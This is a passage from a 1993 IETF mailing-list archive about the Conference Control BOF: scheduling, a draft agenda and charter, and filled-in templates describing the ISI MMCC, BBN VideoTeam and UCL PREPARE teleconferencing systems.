		vda@iti.gov.sg
		ypc@iti.gov.sg


	Thank you very much.


	regards,
	sree


From rlang@NISC.SRI.COM  Fri Feb 26 09:39:45 1993
Received: from ws28.nisc.sri.com by venera.isi.edu (5.65c/5.65+local-8)
	id <AA15500>; Fri, 26 Feb 1993 17:39:59 -0800
Received: by ws28.nisc.sri.com (4.1/SRI-NISC1.2)
	id AA05738; Fri, 26 Feb 93 17:39:47 PST
Message-Id: <9302270139.AA05738@ws28.nisc.sri.com>
To: schooler
Cc: confctrl, rlang@NISC.SRI.COM
Subject: Re: BOF schedule for March IETF 
In-Reply-To: Your message of Thu, 25 Feb 93 10:12:03 -0800.
             <199302251812.AA07010@elm.isi.edu> 
Date: Fri, 26 Feb 93 17:39:45 PST
From: Ruth Lang <rlang@NISC.SRI.COM>


Eve,

> The confctrl BOF sessions are scheduled for:
> 	Tuesday, March 30    9:30-12:00 noon
> 	Wednesday, March 31  1:30-3:30pm

I noted in the most recent draft agenda that the Wednesday session is
scheduled for 9:30 to noon, not 1:30 to 3:30.  Which is correct?

Ruth Lang

From schooler  Tue Mar  2 03:29:16 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA00672>; Tue, 2 Mar 1993 11:29:27 -0800
Date: Tue, 2 Mar 1993 11:29:16 -0800
From: schooler
Posted-Date: Tue, 2 Mar 1993 11:29:16 -0800
Message-Id: <199303021929.AA09962@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA09962>; Tue, 2 Mar 1993 11:29:16 -0800
To: rlang@NISC.SRI.COM
Subject: Re: BOF schedule for March IETF
Cc: confctrl, schooler

The very latest schedule has probably not been widely disseminated yet.
To avoid a scheduling conflict between AVT and SIP, the second
confctrl session was moved from the morning to the afternoon on Wednesday.
 
I confirmed with Megan@CNRI that the confctrl BOF sessions are indeed 
scheduled for:

	Tuesday, March 30    9:30-12:00 noon
	Wednesday, March 31  1:30-3:30pm

More news re the agenda for the sessions shortly....

Hope to see you there,
Eve 

>From rlang@NISC.SRI.COM Fri Feb 26 17:41:45 1993
>To: schooler@ISI.EDU
>Cc: confctrl@ISI.EDU, rlang@NISC.SRI.COM
>Subject: Re: BOF schedule for March IETF 
>Date: Fri, 26 Feb 93 17:39:45 PST
>From: Ruth Lang <rlang@NISC.SRI.COM>
>
>
>Eve,
>
>> The confctrl BOF sessions are scheduled for:
>> 	Tuesday, March 30    9:30-12:00 noon
>> 	Wednesday, March 31  1:30-3:30pm
>
>I noted in the most recent draft agenda that the Wednesday session is
>scheduled for 9:30 to noon, not 1:30 to 3:30.  Which is correct?
>
>Ruth Lang
>

From schooler  Fri Mar 12 11:08:33 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA27970>; Fri, 12 Mar 1993 19:08:43 -0800
Date: Fri, 12 Mar 1993 19:08:33 -0800
From: schooler
Posted-Date: Fri, 12 Mar 1993 19:08:33 -0800
Message-Id: <199303130308.AA17526@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA17526>; Fri, 12 Mar 1993 19:08:33 -0800
To: confctrl
Subject: Template for confctrl BOF
Cc: schooler


As discussed earlier, the first session of the Conference Control BOF at 
the upcoming IETF will be used for several presentations on different 
confctrl schemes.  The emphasis will be on fleshing out design assumptions, 
tradeoffs, complexity, scalability etc.

Below is a draft template to be used as the guideline for these 
presentations.  Answers to the template are intended to help define what 
confctrl is and to help understand the functional requirements of a generic 
confctrl protocol.  I would like us to end up with a healthy cross
section of confctrl approaches, plus specifics on design choices.

Please comment on the template.  Are there questions that should be 
reworded, added, removed?   

If you have implemented an existing teleconferencing system, 
application or protocol, I would especially appreciate it if you 
filled in the template (or your improved version of the template);  
short of that, please suggest a couple papers that capture the essence 
of your work -- as it relates to conference control.

All feedback and opinions are welcome.

Eve

~~~~~~~~~~~~~~~~~~~


		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

2. Contact person, affiliation and e-mail address.

3. Target operating environment and key design considerations:

   - WAN vs LAN 
   - digital vs analog media
   - the kinds of collaborative media used in your system 
     (e.g., real-time audio, video, animations, landsat images) 
   - packet technology vs ISDN
   - room-to-room vs desktop conferencing
   - ???

4.a Type of conference styles supported by your system/protocol.

4.b Profile of user community: 

   - expertise level 
   - formality of meetings
   - demand for quality of service

5. Architecture assumptions: 

   - distributed vs centralized model
   - system component(s) responsible for conference control
   - degree of homogeneity in end-system capabilities 
   - multicast integration
   - directory services
   - support for quality of service
   - ???

6.a How do you define conference control?  

6.b Conference control functionality supported.

6.c Other control functions you would like to support.

7. Conference control protocol details: 

  - explicit vs implicit setup
  - interconnectivity of participants
  - state sharing
  - robustness
  - scaling properties
  - ???

8. Hardware/software platforms.  

9.a What specifically has or has not been implemented?

9.b What was unexpectedly easy or difficult to implement?

9.c What might you change as a result?

10. If available, a couple of suggested readings about your work
    on confctrl.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Example ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		

1. Name of project, program and/or protocol.

	Multimedia Conference Control program (MMCC),
	Conference Control Protocol (CCP)

2. Contact person, affiliation and e-mail address.

	Eve Schooler, USC/Information Sciences Institute, 
	Multimedia Conferencing Project,
	schooler@isi.edu

3. Target operating environment and key design considerations:

	Focus has been on WAN teleconferencing.  All media packetized; 
	couples digital packet audio and video with shared workspaces.  
	Originally used in room-to-room conferencing over DSInet, more 
	recently re-oriented for personal desktop conferencing across 
	DARTnet and MBONE.  Operational testbeds, thus high premium 
	on reliability and fault tolerance.  

4.a Type of conference styles supported by your system/protocol.

	Supports small-sized conferences (ideal for 2-5 members, but
	the control model probably suitable for 10's of members).

4.b Profile of user community: 

	Novice user community over DSInet; conference operators
	typically orchestrate sessions via remote control.  Tends toward
	more formal meetings, ever since became more production-
	oriented.  Concern about system robustness and quality (resolution) 
	of media.  Probably some concern over openness or security 
	of system.

	DARTnet and MBONE comprised of users who are researchers and 
	willing to use software in a more impromptu fashion.  Extremely
	informal usage.  Happy to have access to whatever software and 
	bandwidth available.

5. Architecture assumptions: 

	Distributed, peer-to-peer model.  A single connection manager
	or conference control element resides at each end system.  It
	is responsible for a particular user, at a particular machine
	and port number.  It interacts with underlying media agents
	that handle the specifics for the various media types (e.g.,
	realtime data processing).  The peer connection managers use the
	CCP to communicate conference-related requests to each other.

	Heterogeneous end-system capabilities in terms of encoding
	schemes and data rates.  All end systems' must match
	at conference setup.  Connection manager has the task of
	synchronizing configurations to initiator's request.

	Currently the control protocol relies on a group interface
	in order to be able send to multiple participants at once; 
	it is not tied to the use of IP multicast.  The control protocol
	is used however to share multicast addresses of underlying tools
	with peer connection managers.

	No global directory services available.  This has led to
	well-contained naming, where each site maintains a static
	configuration file of its favorite remote sites and their
	addresses.  More recently, allowing on-the-fly additions to 
	each site's local cache of user aliases.

	Depending on the testbed and mode of software, bandwidth 
	reservations are provided by ST, or not at all when using
	IP-Multicast.  Looking to experiment with other QoS schemes 
	in the near term.

6.a How do you define conference control?  

	The managment and coordination of multiple sessions, and
	their multiple users in muliple media.  

6.b Conference control functionality supported.

	- session:
		- pre-scheduling, status
	- membership: connect, invite, join, disconnect
	- configuration: (only at set up) 
		- set of media (or underlying tools) to include
		- parameters for each media

	- control-related:
		- remote camera switching
		- video "floor selection"
			- sender selected (for limited bandwidth scenarios)
			- receiver selected (for personal preferences)
		- "autopilot", where one site can auto control another site

6.c Other control functions you would like to support.

	- modification of media set and parameters of ongoing sessions
	- session archiving
	- include combination nodes, or reflectors, in the control path
	  to perform encoding translations, mixing functions (4-to-1),
	  etc.
	- interface for security and qos preferences
	- merge conferences
	- side chats
	
7. Conference control protocol details: 

	Tightly-controlled session model, entailing explicit setup
	and tear down.  By default, there is nway connectivity among
	participants.  Each participant stores state information such as the
	membership list and each member's current state (involved, 
	used-to-be-involved).  All participants are appraised of 
	conference state at initiation and when any new members join 
	or old members leave.  Can opt to maintain global state more 
	rigidly through stricter synchronization methods, if desired.  

	CCP is sensitive to WAN operation; it attempts to provide
	reliable messaging among peers and is able to repair state 
	information in the event of temporary network outages.

	Scale is an issue.  Membership changes (at setup time and
	throughout the session) result in 1-to-n communication.
	Rigorous global state maintenance requires n-to-n communication.

8. Hardware/software platforms.  

	Sunview and X-based GUIs.  Moving toward Tk/tcl.

	UNIX-oriented system code and libraries; currently runs on 
	Sun workstations.

	CCP is built on top of a reliable, group messaging service that
	in turn uses UDP sockets.  Expect to replace the group messaging
	service with other schemes (e.g., ISIS) as they become more readily 
	accepted or are in widespread use.

	RPC-based control of servers designed for local hardware control 
	(crossbar switches, video codecs, cameras, monitors).

9.a What specifically has or has not been implemented?

	The MMCC program, the GUI to the system, lags behind the
	capabilities of the CCP protocol.  Now working on GUI support for
	multiple sessions at once, more formalized interface between
	connection manager and media agents, and additional configuration 
	language detail for capability choices.

9.b What was unexpectedly easy or difficult to implement?

	Maintaining rigid global state and resynchronization are
	difficult.  The CCP spec calls for a variety of policies, only
	some of which are reflected in in the GUI of MMCC.  Too much
	flexibility in the protocol leads to complicated state
	transitions.  From an implementor's point of view, the original
	CCP spec was too complicated; as a consequence only the most
	common functions have been realized in the latest version of
	code. The follow-on spec needs to be simpler, and should also
	distinguish between recommendations about core functionality and 
	provisions for special services.  Separation of confctrl into smaller
	units made problem clearer (session management vs membership
	management vs configuration management).

9.c What might you change as a result?

	Begin with scaling as a design goal.
	
10. Papers.

	[To be provided in confctrl bibliography compilation]
		

From schooler  Mon Mar 22 15:46:51 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA29053>; Mon, 22 Mar 1993 23:46:59 -0800
Date: Mon, 22 Mar 1993 23:46:51 -0800
From: schooler
Posted-Date: Mon, 22 Mar 1993 23:46:51 -0800
Message-Id: <199303230746.AA00835@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA00835>; Mon, 22 Mar 1993 23:46:51 -0800
To: confctrl
Subject: Confctrl BOF at upcoming IETF
Cc: rem-conf@es.net



At the Washington, D.C. IETF, there was an impromptu meeting of
individuals interested in the session control aspects of an 
Internet remote conferencing architecture.  The group is officially 
scheduled to meet as the Conference Control BOF at the upcoming IETF.
Here is the proposed agenda and draft charter, which we expect to refine 
after discussion within the BOF and within the IESG.  

I welcome your comments and participation.

Eve Schooler
(schooler@isi.edu)


Agenda for the Conference Control BOF (confctrl)
------------------------------------------------

Tuesday, March 30,	9:30 - 12:00 noon
Wednesday, March 31,	1:30 - 3:30pm 


 1. Agreement on agenda

 2. Brief introduction with an overview of minutes from 
    Washingon, D.C. confctrl meeting

 3. Review of charter and milestones (goals and objectives)

 4. Report on current confctrl bibliography

 5. Presentations of existing confctrl schemes

 6. Synthesis of critical confctrl attributes, functionality,
    requirements

 7. Discussion of architectural assumptions for confctrl
    of Internet teleconferencing.

 8. Identify documents/materials that need to be produced,
    and assign writing tasks.

 9. Other topics???


Proposed Charter
----------------

Charter 
     Conference Control (confctrl)
 
Chair(s):
     Eve Schooler		<schooler@isi.edu>
     ???? 

Applications Area Director(s) 
     Russ Hobby			<rdhobby@ucdavis.edu>
     Erik Huizer		<huizer@surfnet.nl>
 
Mailing lists: 
     General Discussion:	confctrl@isi.edu
     To Subscribe:      	confctrl-request@isi.edu
     Archive:           	venera.isi.edu:confctrl/confctrl.mail
				[contains minutes from previous IETF]

Description of Working Group:

The demand for Internet packet teleconferencing has arrived.  Yet, an
infrastructure to support the demand is barely in place.  Conference
control is one component of the infrastructure, and may be defined as 
the management and coordination of multiple sessions, and their multiple 
users in multiple media.  The Conference Control Working Group is chartered 
to design a session layer protocol to perform these functions.  

Toward this end, the Working Group will catalogue existing approaches
to conference control, identify the requirements for providing these
services across the general Internet, then define a small, but broad
set of conference styles that are most useful to support.  For
instance, we anticipate the need to accommodate both loose- and
tightly-controlled sessions.  Ultimately, the WG will work to specify,
implement and deploy the confctrl protocol within IETF teleconferencing
software over the MBONE.  While scalability will be a critical design
goal, the full implication of security is likely to be addressed at
later stages in the effort.

This Working Group falls under the supervision of the Remote
Conferencing Architecture steering group.  As such, it will provide an
interface to the Realtime Transport Protocol proposed in the
Audio/Video Transport Working Group.  In addition, this Working Group
will track the progress of other groups as they relate to the confctrl
effort: directory services for cataloguing users and conferences,
resource reservation and management at the network level, schemes for
multicast address allocation.


Goals and Milestones: 
 
   Mar 93 Prepare a bibliography of current readings in this area.

   Mar 93 First BOF/Working Group meeting. Review and approve the Charter,
	  making any necessary changes.  Discuss existing prototypes,
	  the issues they raise, and the unifying themes.  Identify scope 
	  and functional requirements for this service.  Outline a 
	  framework for the solution.  Assign writing assignments for 
	  first draft of document.  Begin documenting a strawman protocol.

   May 93 First draft of specification to be completed.  Provide
	  information on motivation for this work, relevance to other
	  IETF efforts, Internet teleconferencing infrastructure assumptions, 
	  and protocol details.

   Jul 93 Review first draft document and determine necessary
   	  revisions.  Follow up discussion to occur on mailing list
	  and via teleconferences.

   Oct 93 Finalize revisions for a second draft.

   Dec 93 Make document an Internet Draft.  Continue revisions based
	  on comments received.  As proof of concept and to measure 
	  thoroughness, consistency and simplicity, begin implementation.

   Mar 94 Review final draft and give to IESG for publication as an
	  RFC.  



From schooler  Mon Mar 22 16:20:31 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA00470>; Tue, 23 Mar 1993 00:20:40 -0800
Date: Tue, 23 Mar 1993 00:20:31 -0800
From: schooler
Posted-Date: Tue, 23 Mar 1993 00:20:31 -0800
Message-Id: <199303230820.AA00843@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA00843>; Tue, 23 Mar 1993 00:20:31 -0800
To: rem-conf@es.net
Subject: Re: Template and bibliography for confctrl BOF
Cc: schooler, confctrl

To foster wider discussion, I am forwarding to rem-conf some ideas
that already have been posted to the confctrl mailing list.

The first session of the Conference Control BOF at the upcoming IETF
will be used for several presentations on different confctrl schemes.
The emphasis will be on fleshing out design assumptions, tradeoffs,
complexity, scalability etc.

Below is a draft template to be used as a guideline for these 
presentations.  Answers to the template are intended to help define what 
confctrl is and to help understand the functional requirements of a generic 
confctrl protocol.  I would like us to end up with a healthy cross
section of confctrl approaches, plus specifics on design choices.

Please comment on the template.  Are there questions that should be 
reworded, added, removed?   

If you have implemented an existing teleconferencing system, 
application or protocol, I would especially appreciate it if you
would fill in the template (or your improved version of the template);  
short of that, please suggest a couple papers that capture the essence 
of your work -- as it relates to conference control.

I am also interested in identifying projects that have been
influential or seminal in this area.  Please forward me any ideas you
might have, otherwise you will end up with my own biased opinions :-)
On a related note, I have started a bibliography/recommended reading
list on confctrl, so I am interested in references to your favorite
readings.

Eve


~~~~~~~~~~~~~~~~~~~


		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

2. Contact person, affiliation and e-mail address.

3. Target operating environment and key design considerations:

   - WAN vs LAN 
   - digital vs analog media
   - the kinds of collaborative media used in your system 
     (e.g., real-time audio, video, animations, landsat images) 
   - packet technology vs ISDN
   - room-to-room vs desktop conferencing
   - ???

4.a Type of conference styles supported by your system/protocol.

4.b Profile of user community: 

   - expertise level 
   - formality of meetings
   - demand for quality of service
   - mechanisms for scheduling/reservation of system

5. Architecture assumptions: 

   - distributed vs centralized model vs hierarchical
   - system component(s) responsible for conference control
   - degree of homogeneity in end-system capabilities 
   - multicast integration
   - directory services
   - support for quality of service
   - open vs closed membership (e.g., only preregistered users)
   - ???

6.a How do you define conference control?  

6.b Conference control functionality supported.

6.c Other control functions you would like to support.

7. Conference control protocol details: 

  - explicit vs implicit setup
  - interconnectivity of participants
  - state sharing
  - robustness
  - scaling properties
  - ???

8. Hardware/software platforms.  

9.a What specifically has or has not been implemented?

9.b What was unexpectedly easy or difficult to implement?

9.c What might you change as a result?

10. If available, suggested readings about your work on confctrl.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Example ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		

1. Name of project, program and/or protocol.

	Multimedia Conference Control program (MMCC),
	Conference Control Protocol (CCP)

2. Contact person, affiliation and e-mail address.

	Eve Schooler, USC/Information Sciences Institute, 
	Multimedia Conferencing Project,
	schooler@isi.edu

3. Target operating environment and key design considerations:

	Focus has been on WAN teleconferencing.  All media packetized; 
	couples digital packet audio and video with shared workspaces.  
	Originally used in room-to-room conferencing over DSInet, more 
	recently re-oriented for personal desktop conferencing across 
	DARTnet and MBONE.  Operational testbeds, thus high premium 
	on reliability and fault tolerance.  

4.a Type of conference styles supported by your system/protocol.

	Supports small-sized conferences (ideal for 2-5 members, but
	the control model probably suitable for 10's of members).

4.b Profile of user community: 

	Novice user community over DSInet; conference operators
	typically orchestrate sessions via remote control.  Tends toward
	more formal meetings, ever since became more production-
	oriented.  Concern about system robustness and quality (resolution) 
	of media.  Probably some concern over openness or security 
	of system.

	DARTnet and MBONE comprised of users who are researchers and 
	willing to use software in a more impromptu fashion.  Extremely
	informal usage.  Happy to have access to whatever software and 
	bandwidth available.

5. Architecture assumptions: 

	Distributed, peer-to-peer model.  A single connection manager
	or conference control element resides at each end system.  It
	is responsible for a particular user, at a particular machine
	and port number.  It interacts with underlying media agents
	that handle the specifics for the various media types (e.g.,
	realtime data processing).  The peer connection managers use the
	CCP to communicate conference-related requests to each other.

	Heterogeneous end-system capabilities in terms of encoding
	schemes and data rates.  All end systems' must match
	at conference setup.  Connection manager has the task of
	synchronizing configurations to initiator's request.

	Currently the control protocol relies on a group interface
	in order to be able send to multiple participants at once; 
	it is not tied to the use of IP multicast.  The control protocol
	is used however to share multicast addresses of underlying tools
	with peer connection managers.

	No global directory services available.  This has led to
	well-contained naming, where each site maintains a static
	configuration file of its favorite remote sites and their
	addresses.  More recently, allowing on-the-fly additions to 
	each site's local cache of user aliases.

	Depending on the testbed and mode of software, bandwidth 
	reservations are provided by ST, or not at all when using
	IP-Multicast.  Looking to experiment with other QoS schemes 
	in the near term.

6.a How do you define conference control?  

	The managment and coordination of multiple sessions, and
	their multiple users in muliple media.  

6.b Conference control functionality supported.

	- session:
		- pre-scheduling, status, exclusive sessions
	- membership: connect, invite, join, disconnect
	- configuration: (only at set up) 
		- set of media (or underlying tools) to include
		- parameters for each media

	- control-related:
		- remote camera switching
		- video "floor selection"
			- sender selected (for limited bandwidth scenarios)
			- receiver selected (for personal preferences)
		- "autopilot", where one site can auto control another site

6.c Other control functions you would like to support.

	- modification of media set and parameters of ongoing sessions
	- session archiving
	- include combination nodes, or reflectors, in the control path
	  to perform encoding translations, mixing functions (4-to-1),
	  etc.
	- interface for security and qos preferences
	- merge conferences
	- side chats
	
7. Conference control protocol details: 

	Tightly-controlled session model, entailing explicit setup
	and tear down.  By default, there is nway connectivity among
	participants.  Each participant stores state information such as the
	membership list and each member's current state (involved, 
	used-to-be-involved).  All participants are appraised of 
	conference state at initiation and when any new members join 
	or old members leave.  Can opt to maintain global state more 
	rigidly through stricter synchronization methods, if desired.  

	CCP is sensitive to WAN operation; it attempts to provide
	reliable messaging among peers and is able to repair state 
	information in the event of temporary network outages.

	Scale is an issue.  Membership changes (at setup time and
	throughout the session) result in 1-to-n communication.
	Rigorous global state maintenance requires n-to-n communication.

8. Hardware/software platforms.  

	Sunview and X-based GUIs.  Moving toward Tk/tcl.

	UNIX-oriented system code and libraries; currently runs on 
	Sun workstations.

	CCP is built on top of a reliable, group messaging service that
	in turn uses UDP sockets.  Expect to replace the group messaging
	service with other schemes (e.g., ISIS) as they become more readily 
	accepted or are in widespread use.

	RPC-based control of servers designed for local hardware control 
	(crossbar switches, video codecs, cameras, monitors).

9.a What specifically has or has not been implemented?

	The MMCC program, the GUI to the system, lags behind the
	capabilities of the CCP protocol.  Now working on GUI support for
	multiple sessions at once, more formalized interface between
	connection manager and media agents, and additional configuration 
	language detail for capability choices.

9.b What was unexpectedly easy or difficult to implement?

	Maintaining rigid global state and resynchronization are
	difficult.  The CCP spec calls for a variety of policies, only
	some of which are reflected in in the GUI of MMCC.  Too much
	flexibility in the protocol leads to complicated state
	transitions.  From an implementor's point of view, the original
	CCP spec was too complicated; as a consequence only the most
	common functions have been realized in the latest version of
	code. The follow-on spec needs to be simpler, and should also
	distinguish between recommendations about core functionality and 
	provisions for special services.  Separation of confctrl into smaller
	units made problem clearer (session management vs membership
	management vs configuration management).

9.c What might you change as a result?

	Begin with scaling as design goal.
	
10. Papers.

	FTP venera.isi.edu:pub/hpcc-papers/mmc/README.txt for details
	on further readings.
	

From schooler  Mon Mar 22 16:24:23 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA00505>; Tue, 23 Mar 1993 00:24:31 -0800
Date: Tue, 23 Mar 1993 00:24:23 -0800
From: schooler
Posted-Date: Tue, 23 Mar 1993 00:24:23 -0800
Message-Id: <199303230824.AA00846@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA00846>; Tue, 23 Mar 1993 00:24:23 -0800
To: confctrl
Subject: Re: confctrl BOF template
Cc: rem-conf@es.net, schooler, celliott@bbn.com


----- Begin Included Message -----

From celliott@BBN.COM Mon Mar 15 08:30:27 1993
Date:     Mon, 15 Mar 93 11:06:18 EST
From: Chip Elliott <celliott@BBN.COM>
To: Eve Schooler <schooler@ISI.EDU>
Subject:  BOF template


		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

	"VideoTeam" is the project/program name.

	"Sticky" is the protocol name, for lack of anything better.


2. Contact person, affiliation and e-mail address.

	Chip Elliott		celliott@bbn.com


3. Target operating environment and key design considerations:

   - WAN vs LAN 
   - digital vs analog media
   - the kinds of collaborative media used in your system 
     (e.g., real-time audio, video, animations, landsat images) 
   - packet technology vs ISDN
   - room-to-room vs desktop conferencing
   - ???

	Designed specifically for Defence Simulation Internet requirements.
	Real business conferences, hence emphasis on reliability and
	ease of use. Must try to provide good services atop a real-
	world WAN.

	Used either point-to-point or for group meetings with <=5 sites.
	Realtime audion/video.

	Room-to-room with PictureTel codecs, packetized, and distributed
	via a WAN with bandwidth reservation and multicast. Audio sent
	inband or (soon) via separate packet stream for local mixing.

	Occasionally used with other multimedia collaboration tools,
	eg, shared maps, documents, and whiteboard.

	Other design goals include possible migration to other codecs,
	desktop conferencing, and perhaps non-Unix. Scalability and
	"lecture-mode" ideas were given some consideration, though not
	for any specific present reason.


4.a Type of conference styles supported by your system/protocol.

	Point-to-point.

	Small group, unmoderated.

	Small group, moderated.

	Exclusive or non-exclusive conferences. In non-exclusive ones,
	sites may come and go. There are no "special" sites at any time,
	such as a "conference initiator".

	Designed to scale up to large broadcasts, etc; but never tried.


4.b Profile of user community: 

   - expertise level 

	Users are completely non-technical. They have a support staff
	to handle technical matters.

   - formality of meetings

	Varies from extremely formal (ie, rehearsed 4-5 times with
	standins before actual conference) to completely informal.

   - demand for quality of service

	Service must work reliably all the time. It is considered
	on a par with telephone service.


5. Architecture assumptions: 

   - distributed vs centralized model

	Completely distributed. No central points even at startup.

   - system component(s) responsible for conference control

	VideoTeam itself contains all conference control mechanisms.

   - degree of homogeneity in end-system capabilities 

	Currently very homogenous, but designed to handle a very
	wide range of capabilities via a resource-negotiation mechanism.

   - multicast integration

	Handles both multicast and point-to-point.

   - directory services

	None. Configuration files are distributed by hand from time
	to time.

   - support for quality of service

	Protocol supports negotiation, but currently it's an
	all-or-nothing affair.

   - ???

	Handling network outages, site equipment failures, etc.,
	was considered highly important.

	Efficient use of WAN bandwidth was also considered very
	important.


6.a How do you define conference control?  

	The mechanism(s) by which people or groups of people can
	arrange to meet, moderate their meetings, and bring a
	meeting to a close. This should include provisions for
	people or groups joining a meeting late and/or leaving early.

	A strongly related issue is "resource management" which
	includes negotiation of compatible modes, bandwidths, etc,
	among all equipment which is used to provide services and
	all people which will have to put up with these services.


6.b Conference control functionality supported.

	"Connecting" 2 or more site into a conference.

	"Disconnecting" a site from an ongoing conference.

	"Merging" of previously separate conferences.

	Access control for exclusive conferences.

	Floor control for moderated conferences.

	Negotiation of media resources when sites wish to
	view one another.


6.c Other control functions you would like to support.

	Better negotiation of non-homogenous resources; which seems
	like a very hard problem in general.


7. Conference control protocol details: 

  - explicit vs implicit setup

	Sites may connect to each other at any time. Connection to
	a site typically brings about a connection to all sites that
	it is connected to, though this is a function of the
	conferenciong system rather than the protocol.

	No distinction is made between "setup" time and an "ongoing"
	conference. Connections may happen at any time and are always
	treated the same.


  - interconnectivity of participants

	The protocol/system attempts to bring full connectivity
	(on the control level) but is designed to work reliably in
	cases where that is not possible.

	As for media streams, these are created on demand, and so
	may not have full connectivity. In addition, they are destroyed
	when no longer required.


  - state sharing

	The Sticky protocol attempts to propagate state, but assumes
	that sites generally disagree about state. There is no
	distinction between an unsynchronized and synchronized state
	for a conference -- sites are always assumed to be somewhat
	out of synchronization.


  - robustness

	A key design goal. Hopefully the system is very robust.
	The Sticky protocol is designed so that sites can be fully
	independent and so that failure of sites, equipment, or
	network links do not take down the entire conference.
	In fact, it's designed to self-heal after equipment is
	brought back into operation (even after network partition).


  - scaling properties

	The Sticky protocol has been designed so that it could scale
	up (I believe) but this is not an important design goal and
	has not been tested.


  - ???

	All connections are bilateral, rather than conference-wide.
	Control packets are UDP; TCP/IP and RCP are simply not robust
	enough for real use. Media streams are via ST-II, but this
	is not strongly tied into the protocol or implementation;
	ST-II provides multicast trees for data streams.

	All resource negotiation/request takes place ON DEMAND rather
	than when a conference starts up. This "late binding" offers
	significantly different possibilities and difficulties than
	an "early binding" approach that negotiates resources at
	start-up time.


8. Hardware/software platforms.  

	At present, Sparcs with PictureTel codecs, running on top
	of the Defence Simulation Internet.

	Designed to be easy to migrate to other workstations and
	codecs, including desktop.

	Could migrate to other networks fairly easily as well,
	though bandwidth reservation and multicast are desirable.


9.a What specifically has or has not been implemented?

	Everything mentioned has been implemented, with the exception
	that resource negotiation is currently all-or-nothing rather
	than any true "negotiation".


9.b What was unexpectedly easy or difficult to implement?

	Floor control was very easy.

	A robust protocol that propagated state from site to site
	was unexpectedly hard. The result is trickier than I like.

	Eccentricities of the PictureTel codec and underlying network
	had unexpectedly large effects on the design.


9.c What might you change as a result?

	No thoughts of changing things right now.


10. If available, a couple of suggested readings about your work
    on confctrl.

	"High-Bandwidth Multimedia Conferencing Though a Long-Haul
	   Packet Network".

	"A 'Sticky' Conference Control Protocol".


	[both available in paper form; I have not yet succeeded in
	getting portable Postscript of them, alas.]



MY OWN ADDITION:

11. What else?

	VideoTeam is not a "secure" or "well-protected" system, in
	that sites masquerading as other sites could easily enter a
	conference. This is not a problem in practice but I would
	like to think more about access control and security for
	both the conference control and resource requests.

	Some issues are inherently hard to resolve in fully
	decentralized systems. For example, in a meeting of 6 peers,
	who can decide if a new site should be allowed to join the
	meeting? In physical space, this would perhaps be resolved
	by a vote and then by opening the door. I believe that
	VideoTeam allows a similar reaction by allowing participants
	to talk among themselves before accepting a new member; but
	it's possible for one site to accept the new site no matter
	what the other sites say... Is this a problem? I don't know.

	Late addition of participants can require thorough
	renegotiation of media characteristics, which is a real can
	of worms. This needs a lot of careful thought.

	Similarly, the conference participants themselves should often
	be drawn into media negotiation since they are the only ones
	who can decide whether a conference should proceed in the face
	of low-quality service, or whether it should simply be cancelled.
	Other decisions can get much more difficult -- eg, should we
	accept a non-standard codec mode now instead of say H.261 because
	we don't have the bandwidth for H.261 or whatever. Such decisions
	may preclude late entry of other participants....



----- End Included Message -----


From schooler  Mon Mar 22 16:27:32 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA00579>; Tue, 23 Mar 1993 00:27:40 -0800
Date: Tue, 23 Mar 1993 00:27:32 -0800
From: schooler
Posted-Date: Tue, 23 Mar 1993 00:27:32 -0800
Message-Id: <199303230827.AA00849@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA00849>; Tue, 23 Mar 1993 00:27:32 -0800
To: rem-conf@es.net
Subject: Re: confctrl BOF template
Cc: confctrl, schooler, D.Lewis@cs.ucl.ac.uk


----- Begin Included Message -----

From D.Lewis@cs.ucl.ac.uk Mon Mar 22 07:44:12 1993
To: schooler@ISI.EDU
Cc: mm-local@cs.ucl.ac.uk
Subject: 
Date: Mon, 22 Mar 93 15:42:28 +0000
From: D.Lewis@cs.ucl.ac.uk


		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

	PREPARE (Prepilot in Advanced Resource Management - R2004)
	Part of the Commission of the European Communities RACE II program

2. Contact person, affiliation and e-mail address.

	David Lewis
	Computer Science Department
	University College London
	Gower Street
	London WC1E 6BT
	U.K.

	e-mail: dlewis@cs.ucl.ac.uk
	tel: +44 (0)71 387 7050 x 3706
	fax: +44 (0)71 387 1397

3. Target operating environment and key design considerations:

   - WAN vs LAN 
	the project is developing its own broadband testbed network
	consisting of:
	- a 3-node 155Mbps ATM WAN network (in cooperation with the 
	  Danish BATMAN project)
	- a MAN network
	- Token Ring LANs
	- ATM PBXs

   - digital vs analog media
	all digital audio and video using the following equipment and 
	techniques:
	- SPARCstation inbuilt audio
	- VideoPix card in SPARCstations
	- GEC px64kbps H.261 codecs
	- software H.261 coding/decoding (IVS from INRIA, France)

   - the kinds of collaborative media used in your system 
	The conferenceing system used is a development of the conferencing
	system developed at UCL for the RACE I project CAR. This allows
	the inclusion of both custom built shared applications and standard,
	X-window based applications into conferences. Audio and video 
	conferencing application (e.g. VAT, IVS) are included in this way.

   - packet technology vs ISDN
	Both. IP used for workstations connected to Token Rings, and B-ISDN
	in the form of ATM AAL1 connections are used for workstations 
	connected ATM PBXs 

   - room-to-room vs desktop conferencing
   	desktop, workstation-based conferencing used

4.a Type of conference styles supported by your system/protocol.

4.b Profile of user community: 

   - expertise level
